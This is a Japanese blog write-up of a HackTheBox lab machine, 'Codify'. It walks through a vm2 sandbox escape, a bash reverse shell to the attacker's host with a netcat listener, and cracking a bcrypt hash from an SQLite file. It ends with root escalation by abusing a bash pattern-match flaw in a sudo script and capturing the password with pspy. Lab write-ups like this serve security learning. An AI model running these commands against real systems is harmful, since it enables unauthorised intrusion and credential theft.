今回はHackTheBoxのEasyマシン「Codify」のWriteUpです!
名前からしてコードを書いて攻略していくような感じになるのでしょうか...
グラフはしっかりEasyマシンのようなグラフになっていますね。
評価も高いので楽しみです!攻略目指して頑張ります〜!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Codify
列挙
それでは、攻略を開始していきましょう!
まずは、いつものnmap
から実行していきます。
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ sudo nmap --min-rate=1000 -Pn -v -n -sSVC -p- 10.10.11.239 -oN nmap.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
HTTPで80番と3000番を確認できました!
3000番はNode.jsなので、気になりますがとりあえず80番からアクセスしてみましょう。
簡単にNode.jsのコードをテストできるページのようです。
Try it now
のボタンを押してみます。
Editorが表示されました。Codifyという名前にピッタリなページです。
とりあえず、Node.jsのコードを書いて実行させてみましょう。
SandBox Bypass
試しに、Hello World!!
と表示させるコードを書いて、実行させてみます。
うまく実行させることができました!
では、次はOSのコマンドを実行させることが可能かどうか試してみましょう。
child_process
は許可されていないようです。
ここでコマンドの実行は諦めてしまいがちですが、私はこのページがサンドボックス環境によって提供されていることに目をつけました。サンドボックスの脆弱性があれば、その脆弱性を悪用しコマンドが実行できるかも知れません。
そこで、少しGoogleで調べてみると以下のページを発見しました。
どうやらvm2
というモジュールのバージョンが古い場合に、コマンドを実行することが可能になるようです。ページ内にはPoCまで用意されているので、それをそのままコピーしてecho
コマンドが実行されるか試してみましょう。
実行できました!
vm2
が脆弱であることにより、本来使用できなかったはずのchild_process
を使用でき、コマンド実行が可能になったということです。
では、このままシェルを取得してしまいましょう。
svc としてのシェル
それでは、echo
コマンドが書かれた箇所を以下のコマンドに書き換えます。
bash -c 'bash -i >& /dev/tcp/<kali ip>/<kali port> 0>&1'
書き換え後のスクリーンショットも一応貼っておきます。
実行前に待ち受けを忘れずに開始させておきましょう
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121
listening on [any] 2121 ...
はい!では準備ができたので、実行してみましょう!
実行させても、Webの表示は特に変わりませんが、待ち受けを確認すると...
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.239] 47098
bash: cannot set terminal process group (1264): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$ whoami
whoami
svc
シェルを取得することができました!
横移動
侵入には成功しましたが、まだフラグを読むことができませんでした。なので権限昇格の前に横移動する必要があります。
とりあえずhome
ディレクトリを確認し、どのようなユーザがいるのかみてみましょう。
svc@codify:/home$ ls -la
total 16
drwxr-xr-x 4 joshua joshua 4096 Sep 12 2023 .
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
drwxrwx--- 3 joshua joshua 4096 Nov 2 12:22 joshua
drwxr-x--- 4 svc svc 4096 Sep 26 2023 svc
svc
ユーザの他にjoshua
ユーザが存在することがわかりました。
では、上記を踏まえたうえで列挙を進めていきます。
とりあえずsudo
が実行できるか試してみますが...
svc@codify:/home$ sudo -l
[sudo] password for svc:
sudo: a password is required
パスワードが求められ、実行できないことがわかります。
では続いて、svc
ユーザのホームディレクトリを確認してみましょう。
svc@codify:~$ ls -la
total 32
drwxr-x--- 4 svc svc 4096 Sep 26 2023 .
drwxr-xr-x 4 joshua joshua 4096 Sep 12 2023 ..
lrwxrwxrwx 1 svc svc 9 Sep 14 2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Sep 12 2023 .bash_logout
-rw-r--r-- 1 svc svc 3771 Sep 12 2023 .bashrc
drwx------ 2 svc svc 4096 Sep 12 2023 .cache
drwxrwxr-x 5 svc svc 4096 Apr 7 06:29 .pm2
-rw-r--r-- 1 svc svc 807 Sep 12 2023 .profile
-rw-r--r-- 1 svc svc 39 Sep 26 2023 .vimrc
特に重要そうなフォルダはないように見えます。.pm2
がありますが、これはNode.jsを実行する際に使用するものなので、横移動では有効ではないような気がします。
では、続いてWebに関連するディレクトリも確認してみましょう。
hash crack
/var/www/
配下を見てみます。
svc@codify:/var/www$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Sep 12 2023 .
drwxr-xr-x 13 root root 4096 Oct 31 07:57 ..
drwxr-xr-x 3 svc svc 4096 Sep 12 2023 contact
drwxr-xr-x 4 svc svc 4096 Sep 12 2023 editor
drwxr-xr-x 2 svc svc 4096 Apr 12 2023 html
html
とeditor
に加えて、見慣れないフォルダcontact
を発見しました。内容を確認してみましょう。
svc@codify:/var/www/contact$ ls -la
total 120
drwxr-xr-x 3 svc svc 4096 Sep 12 2023 .
drwxr-xr-x 5 root root 4096 Sep 12 2023 ..
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 2023 tickets.db
tickets.db
という何やら怪しいファイルを確認しました。内容を見てみましょう。
svc@codify:/var/www/contact$ strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open
joshua
ユーザのハッシュらしき文字列を発見しました!
ファイルの内容としては、users
テーブルにjoshua
ユーザの情報を保存しているようです。
ハッシュが解読できると、joshua
ユーザとしてログインできそうです!
hashcat
を実行してみましょう。
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================================================================================
* Device #1: cpu--0x000, 2913/5890 MB (1024 MB allocatable), 4MCU
<snip>
* Bytes.....: 139921507
* Keyspace..: 14344385
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2
<snip>
Started: Sun Apr 7 16:58:48 2024
Stopped: Sun Apr 7 17:00:33 2024
解読に成功しました!
joshua としてのシェル
パスワードがspongebob1
であることがわかったので、SSH接続が可能かどうか試してみましょう。
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ ssh joshua@10.10.11.239
The authenticity of host 10.10.11.239 (10.10.11.239) cant be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.239' (ED25519) to the list of known hosts.
joshua@10.10.11.239s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
<snip>
joshua@codify:~$ whoami
joshua
SSH接続に成功しました!横移動完了です!
joshua@codify:~$ ls -l
total 4
-rw-r----- 1 root joshua 33 Apr 7 06:29 user.txt
ユーザフラグも取得できました〜!
権限昇格
では権限昇格を目指していきます!
まずは恒例のsudo -l
を実行してみましょう。
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
どうやらmysql-backup.sh
というファイルをroot
ユーザとして実行できるようです。
どのようなスクリプトファイルなのかみてみましょう。
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
名前の通り、データベースのバックアップを取るスクリプトのようです
Bash Pitfalls
このスクリプトは、/root/.creds
からデータベースのパスワードを取得し、ユーザが入力したパスワードと一致した場合にバックアップを取る処理を実行します。
ですが、実はユーザが入力したパスワードと照合する部分に落とし穴があります。コードでいうと、以下の部分です。
if [[ $DB_PASS == $USER_PASS ]]; then
おそらく想定された動きは、.creds
ファイルから取得した値とユーザが入力した値が「完全に一致」することでバックアップ処理が開始されることです。しかし、この照合方法では、右側の値は「パターンマッチング」が採用されます。つまり、完全に一致していなくてもパターンさえ合っていればバックアップ処理が開始されてしまいます。
以下の記事も参考になります。
パターンマッチングが採用されるので実行自体は簡単にできます。すべてに該当するアスタリスク「*
」を試しに入力してみましょう。
joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
パスワードが合っていると判定され、バックアップ処理が実行されました!
では、この落とし穴を使用して、実際に.creds
ファイルに書かれているパスワードを取得しましょう。
どのように取得するかですが、方法は色々とあります。
一文字ずつアスタリスクと組み合わせながら何度も実行していく方法と、プロセスを監視する方法です。プロセスを監視する場合は、以下のコマンドが実行されるタイミングでパスワードを見ることができます。
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db"
私はプロセスを監視する方法で行こうと思います。scp
を実行し、pspy
をマシン側へダウンロードさせましょう。
+[/opt/too1s-l1nux]
(σ▰>∇<)σ<10.10.14.7>$ scp ./pspy64 joshua@10.10.11.239:/tmp/pspy64
ダウンロードができたら、実行権限を付与し実行します。
joshua@codify:/tmp$ chmod +x pspy64
joshua@codify:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
これでプロセスを監視する準備はできたので、あとは再度mysql-backup.sh
を実行するだけです。
アスタリスク「*
」を使用して再度処理を実行させましょう。
joshua@codify:/opt/scripts$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You cant use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
実行できたので、プロセスを確認してみましょう。
2024/04/07 15:26:17 CMD: UID=0 PID=3060 | /bin/bash /opt/scripts/mysql-backup.sh
2024/04/07 15:26:17 CMD: UID=0 PID=3059 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
パスワードを取得することができました!
root としてのシェル
取得したパスワードはMySQLで使用されるものですが、もしかしたらSSH接続でも使用できるかもしれないので、試してみましょう。
+[~/codify]
(σ▰>∇<)σ<10.10.14.7>$ ssh root@10.10.11.239
root@10.10.11.239s password:
Permission denied, please try again.
SSH接続では使用できないようです。
では、su
コマンドはどうでしょうか。こちらも試してみましょう。
joshua@codify:~$ su root
Password:
root@codify:/home/joshua# whoami
root
権限昇格に成功しました!!!(どちらも試すことが大事ですね...)
root@codify:~# ls -l
total 8
-rw-r----- 1 root root 33 Apr 7 06:29 root.txt
drwxr-xr-x 4 root root 4096 Sep 12 2023 scripts
フラグも取得でき、完全攻略達成です!!
攻略を終えて
今回のマシン、Easyマシンとしてかなり勉強になるマシンだったと思います!知っている人からするとサクサク進み簡単に解くことができたマシンではあるかもしれませんが、HackTheBoxの導入としておすすめしたいマシンでした。
初期侵入はサンドボックスのモジュールの脆弱性でした。サンドボックスというと一見安全そうに見えるものではありますが、やはりこういった事例が見られることもあるのできちんと運用管理していく必要がありますね。
権限昇格のBashの落とし穴を悪用する例は個人的には好きな攻撃なので、楽しかったですが中には知らない人もいると思うので、ここら辺はしっかりと発信していくようにしたいです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!!!